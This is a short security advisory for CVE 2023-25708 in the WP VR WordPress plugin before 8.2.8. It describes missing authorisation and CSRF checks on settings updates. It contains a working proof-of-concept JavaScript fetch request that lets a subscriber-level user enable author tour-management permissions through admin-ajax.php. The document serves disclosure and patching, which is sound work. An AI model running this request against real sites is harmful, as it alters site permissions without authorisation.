WP VR < 8.2.8 – Subscriber+ Settings Update | CVE 2023-25708

Description

The plugin does not have authorisation and CSRF checks in place when updating its settings, which could allow any authenticated users, such as subscriber, to update them.

Note:
- The original advisory mentions the issue to be a CSRF, however the lack of authorisation makes it easier for any authenticated users to perform such attack themselves.
- v8.2.8 added a CSRF check but is still missing proper authorisation.

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wpvr_role_management&author=true',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will enable the "Allow the Authors of your site to Create, Edit, Update, and Delete virtual tours (They can access their own tours only):" settings